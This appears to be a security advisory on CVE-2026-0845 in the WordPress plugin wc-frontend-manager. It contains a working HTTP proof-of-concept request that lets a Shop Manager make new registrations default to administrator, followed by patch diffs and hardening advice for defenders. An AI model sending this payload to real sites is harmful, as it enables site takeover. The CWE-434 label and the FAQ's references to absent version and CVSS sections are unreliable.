SECURITY ADVISORY / 01

CVE-2026-0845 Exploit & Vulnerability Analysis

Complete CVE-2026-0845 security advisory with proof of concept (PoC), exploit details, and patch analysis.

cve_patchdiff:wc-frontend-manager NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

Scenario: An authenticated Shop Manager (or higher role) with a valid WordPress session.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: vulnerable-site.local
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in=<shop_manager_session>

action=wcfm_ajax_controller&controller=settings&task=update_settings&wcfm_page_options[default_role]=administrator&wcfm_page_options[users_can_register]=1

The attacker observes a 200 OK response with {"success":true}. A second request to /wp-json/wp/v2/users or direct WordPress login shows that new user registrations now default to the administrator role, granting the attacker a pathway to full site control.

What the Patch Did

Before:

} else {
    include_once( $this->controllers_path . 'settings/wcfm-controller-settings.php' );
    new WCFM_Settings_Controller();
}

After:

} else {
    if(!current_user_can( apply_filters( 'wcfm_setup_page_required_capability', 'access_wcfm_site_setup' ) ) && !( function_exists('wcfm_is_manager') && wcfm_is_manager() && function_exists('wcfm_is_group_manager') && ! wcfm_is_group_manager() )) {
        wp_send_json_error( esc_html__( 'You don&#8217;t have permission to do this.', 'woocommerce' ) );
        wp_die();
    }
    include_once( $this->controllers_path . 'settings/wcfm-controller-settings.php' );
    new WCFM_Settings_Controller();
}

The AJAX handler now enforces a capability check via current_user_can() against the filterable wcfm_setup_page_required_capability capability (defaulting to access_wcfm_site_setup), or verifies the user is a WCFM manager (but explicitly not a group manager). Without either condition met, the handler returns a JSON error and terminates via wp_die(), preventing instantiation of the settings controller.

The second vulnerability in the settings controller itself was patched here:

Before:

if( isset( $wcfm_settings_form['wcfm_page_options'] ) ) {
    $wcfm_page_options = get_option("wcfm_page_options", array());
    $wcfm_page_options = array_merge( $wcfm_page_options, $wcfm_settings_form['wcfm_page_options'] );
    foreach( $wcfm_page_options as $wcfm_page_option_key => $wcfm_page_option_val ) {
        update_option( $wcfm_page_option_key, $wcfm_page_option_val );
    }
}

After:

if( isset( $wcfm_settings_form['wcfm_page_options'] ) ) {
    $wcfm_page_options = get_option("wcfm_page_options", array());
    $wcfm_page_options = array_merge( $wcfm_page_options, $wcfm_settings_form['wcfm_page_options'] );
    $wcfm_allowed_page_keys = apply_filters( 'wcfm_allowed_page_keys', array('wc_frontend_manager_page_id', 'wcfm_vendor_membership_page_id', 'wcfm_vendor_registration_page_id', 'wcfm_affiliate_registration_page_id') );
    $wcfm_page_options = array_intersect_key( $wcfm_page_options, array_flip( $wcfm_allowed_page_keys ) );
    foreach( $wcfm_page_options as $wcfm_page_option_key => $wcfm_page_option_val ) {
        update_option( $wcfm_page_option_key, $wcfm_page_option_val );
    }
}

The settings controller now enforces input validation via array_intersect_key(), which whitelists the keys permitted for update: wc_frontend_manager_page_id, wcfm_vendor_membership_page_id, wcfm_vendor_registration_page_id, and wcfm_affiliate_registration_page_id. Any key not in this allowlist is silently discarded before update_option() is called.

Root Cause

CWE-862: Missing Authorization and CWE-434: Unrestricted Upload of File with Dangerous Type (in spirit—arbitrary option mutation).

The vulnerability spans two trust boundaries. First, the AJAX dispatcher in class-wcfm-ajax.php routes the action=wcfm_ajax_controller&controller=settings request without verifying the caller holds the access_wcfm_site_setup capability. The dispatcher instantiates WCFM_Settings_Controller unconditionally, shifting control to the settings handler. Second, within the controller, the wcfm_page_options parameter from $_POST is merged directly into the options table via update_option() with no whitelist validation. An attacker in the authenticated Shop Manager role can craft a POST body that includes arbitrary WordPress option keys—such as default_role, users_can_register, or even plugin-specific settings—and mutate them without restriction.

Why It Works

The load-bearing line is array_intersect_key( $wcfm_page_options, array_flip( $wcfm_allowed_page_keys ) ). Removing it restores the vulnerability: an attacker could still inject default_role=administrator into the POST body and it would flow through to update_option(). The capability check in the AJAX handler is the first gate—it prevents any unauthenticated or unprivileged user from reaching the settings controller at all. The whitelist is the second gate: even if a legitimately authenticated Shop Manager reaches the controller, only the four named options can be mutated. The engineer added apply_filters() on both checks to allow parent plugins or site configuration to extend capabilities and allowed keys, but those hooks only widen the perimeter—they do not bypass the underlying validation.

Hardening Checklist

  • On every AJAX handler that mutates state, prepend current_user_can() with an explicit capability name before any business logic executes. Use wp_die() or wp_send_json_error() to halt on failure.
  • For any user-supplied data that selects keys in an associative array passed to update_option(), get_option(), or similar global mutation functions, maintain a whitelist and enforce it via array_intersect_key() or equivalent filtering before the sink.
  • Use apply_filters() liberally on capability checks and whitelists, but document the filter name and expected input type so integrators know what values are safe to add.
  • Audit all POST/GET/REQUEST parameters that flow into update_option() or delete_option() calls; log or grep your codebase for patterns like $_POST[ ... ] followed by those functions within five lines.
  • In integration tests, verify that a Shop Manager role fails to call AJAX handlers restricted to administrators or specific custom capabilities; use wp_set_current_user() to simulate role contexts.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2026-0845

Frequently asked questions about CVE-2026-0845

What is CVE-2026-0845?

CVE-2026-0845 is a security vulnerability. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2026-0845?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2026-0845. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2026-0845 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2026-0845?

CVE-2026-0845 — check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2026-0845?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls.

What is the CVSS score for CVE-2026-0845?

The severity rating and CVSS scoring for CVE-2026-0845 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.